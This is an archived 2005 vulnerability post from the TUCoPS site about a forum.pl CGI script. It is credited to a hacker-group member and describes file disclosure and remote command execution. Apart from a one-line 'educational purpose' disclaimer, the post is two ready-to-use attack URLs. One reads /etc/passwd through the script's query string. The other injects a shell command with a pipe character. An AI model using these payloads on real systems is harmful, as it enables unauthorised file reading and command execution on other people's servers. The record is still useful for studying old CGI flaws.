Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: etc :: hack7325.htm

forum.pl remote command exec.



remote command execution in forum.pl script



Tunis 24/04/2005
BUG found by fireboy
fireboy@webmails.com 



THERE ARE SOME BUGS IN  forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES
IN A SYSTEM OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE
IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd 

2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command 


greetz to all magattack memebers www.magattack.tk 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH